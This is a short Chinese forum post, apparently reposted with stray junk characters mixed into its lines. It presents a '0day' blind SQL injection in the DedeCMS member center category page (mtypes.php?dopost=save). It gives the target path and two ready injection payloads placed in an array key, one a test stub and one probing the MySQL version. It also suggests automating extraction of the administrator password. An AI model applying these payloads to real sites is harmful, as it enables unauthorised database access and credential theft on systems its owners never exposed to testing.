DedeCMS会员中心分类管理SQL注射0day漏洞可获得管理员密码

admin

需要magic_quotes_gpc = Off,所以说是鸡肋啊.

, r6 A4 N6 y; r% t7 A" V- j# j
. _% o0 Y& T7 ]5 ?+ N* p发生在数组key里的注射漏洞,有点意思.
2 }2 V8 H/ |# s+ x: x
; ]: d: o6 G+ |  t! J. [, [/ f4 x+ @4 T. R这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下

- A; ~3 v; a7 p$ Vhttp://www.xxx.com /dede/member/mtypes.php?dopost=save

9 B9 d1 H* \5 _exploit:
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
* ~* D) g1 A8 f& G3 R. e' `mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
% p' M$ a. g. \* Q